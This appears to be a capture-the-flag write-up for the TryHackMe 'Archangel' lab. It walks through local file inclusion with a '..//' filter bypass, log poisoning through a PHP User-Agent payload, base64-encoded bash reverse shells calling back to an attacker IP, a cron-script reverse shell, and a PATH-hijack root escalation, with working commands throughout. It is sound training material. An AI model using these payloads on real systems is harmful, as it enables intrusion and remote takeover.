Archangel tryhackme writeup

Image generated by DALL-E 2 AI

User flag

Firstly, basic port scanning as always

nmap -sS -p- --min-rate 5000 -n -Pn -oN allports -vv 10.10.56.140

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
 nmap -sCV -p22,80 -oN targeted -vv 10.10.56.140
 ... (Nothing interesting)

Nothing meaningful appears, so let’s take a look at the website. It has some directories but nothing fancy yet. However, we haven’t added anything to our /etc/host yet which is a step that is always present in this kind of CTF since it can give more information. From the contact email we can deduct that the domain is mafialive.thm so I added it to my /etc/hosts

# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1       localhost
::1             localhost
10.10.147.13 	mafialive.thm

Now if we go to http://mafialive.thm/ we find the first flag. At this point, I fuzzed for common files and found some interesting files.

ffuf -w ~/wordlist/Filenames_Doted_Common.wordlist -u http://mafialive.thm/FUZZ -v

[Status: 403, Size: 278, Words: 20, Lines: 10]
| URL | http://mafialive.thm/.htpasswd
    * FUZZ: .htpasswd

[Status: 200, Size: 34, Words: 3, Lines: 3]
| URL | http://mafialive.thm/robots.txt
    * FUZZ: robots.txt

[Status: 200, Size: 286, Words: 38, Lines: 16]
| URL | http://mafialive.thm/test.php
    * FUZZ: test.php

robots.txt disallows test.php so I looked into it. When you click the only button on the page you get redirected to an internal file with a url parameter. This looks promising for a LFI. It is often a good idea to look at the code making the LFI possible to learn how to bypass it, but it seems that if you type test.php it interprets it. However, this has a solution, encoding it in base64 using a wrapper.

http://mafialive.thm/test.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/test.php

Now if we decode it we get


<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>

    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>

The code just means that the url must contain /var/www/html/development_testing and mustn’t contain ../.. . This is easy to bypass by using ..//. Once we know these works try to get RCE with log poisoning as usual. To quickly find the logs I used a custom wordlist

ffuf -w ~/wordlist/common-unix-httpd-log-locations-no-slash.txt -u http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//../FUZZ -v -fs 286

[Status: 200, Size: 137159, Words: 13402, Lines: 770]
| URL | http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//..//var/log/apache2/error.log
    * FUZZ: /var/log/apache2/error.log

[Status: 200, Size: 143588, Words: 17908, Lines: 1197]
| URL | http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//..//var/log/apache2/access.log
    * FUZZ: /var/log/apache2/access.log

The next step is to use a malicious User-Agent like this.

curl -A '<?php system($_GET['cmd']); ?>' http://mafialive.thm/test.php?view=/var/www/html/development_testing

Now we finally have RCE with the cmd parameter. Then I created a base64 rev shell payload and got the shell

$ echo "bash -i >& /dev/tcp/10.18.52.67/7777 0>&1" | base64 | base64
WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhPQzQxTWk0Mk55ODNOemMzSURBK0pqRUsK
$ nc -lvp 7777
...
http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//..//..//..//..//..//../var/log/apache2/access.log&cmd=echo%20%22WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhPQzQxTWk0Mk55ODNOemMzSURBK0pqRUsK%22%20|%20base64%20-d%20|%20base64%20-d%20|%20bash
...
Connection from 10.10.147.13:60348
bash: cannot set terminal process group (418): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/development_testing$ ^Z
zsh: suspended  nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1]  + continued  nc -lvp 7777
www-data@ubuntu:/var/www/html/development_testing$ script /dev/null -c bash
                                                          Script started, file is /dev/null
                                                                                           www-data@ubuntu:/var/www/html/development_testing$
www-data@ubuntu:/var/www/html/development_testing$ stty rows 30 columns 132
www-data@ubuntu:/var/www/html/development_testing$ export TERM=xterm
www-data@ubuntu:/var/www/html/development_testing$

At this point, I started searching for common privesc paths and found an interesting file in /opt

www-data@ubuntu:/opt$ ls -la
total 16
drwxrwxrwx  3 root      root      4096 Nov 20  2020 .
drwxr-xr-x 22 root      root      4096 Nov 16  2020 ..
drwxrwx---  2 archangel archangel 4096 Nov 20  2020 backupfiles
-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh
www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

Weirdly, this is here. The first thing that came to my mind is that it may be a cronjob so I added a reverse shell to see if I could escalate to user archangel.

www-data@ubuntu:/opt$ cat helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
bash -i >& /dev/tcp/10.18.52.67/4444 0>&1
...
nc -lvp 4444
Connection from 10.10.147.13:38678
bash: cannot set terminal process group (1134): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$

After a couple of minutes, I got the connection and successfully entered as the user archangel, now we can get the user flag.

Root flag

Now if we go to the secret directory in archangel’s home we find a backup binary with the SUID bit set. If we try to execute we get a cp error so this can easily be exploited with $PATH manipulation like this.

archangel@ubuntu:~/secret$ cat cp
#!/bin/bash

bash
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
archangel@ubuntu:~/secret$ chmod 777 cp
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# whoami
root

Just by creating a simple fake cp executable and giving it a priority in the PATH environment variable, we are root.